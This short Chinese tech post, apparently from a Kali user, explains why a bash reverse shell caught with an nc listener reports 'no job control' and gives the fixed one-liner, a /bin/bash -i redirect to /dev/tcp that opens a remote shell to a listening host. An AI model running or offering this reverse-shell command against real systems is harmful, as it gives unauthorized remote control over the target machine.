当前位置: 首页 > 工具软件 > Group Shell > 使用案例 >

bash反弹shell时出现bash: no job control in this shell

华永新
2023-12-01

错误

root@kali:~/Desktop# nc -lvvp 1234
listening on [any] 1234 ...
192.168.11.3: inverse host lookup failed: Host name lookup failure
connect to [172.29.255.226] from (UNKNOWN) [192.168.11.3] 54826
bash: no job control in this shell
bash-3.2$ exit
 sent 0, rcvd 50

原因是bash反弹没有加0>&1
正确:/bin/bash -i >& /dev/tcp/ip/1234 0>&1

优秀大佬:https://blog.csdn.net/qq_36119192/article/details/105906432
我第一反应时防火墙

 类似资料: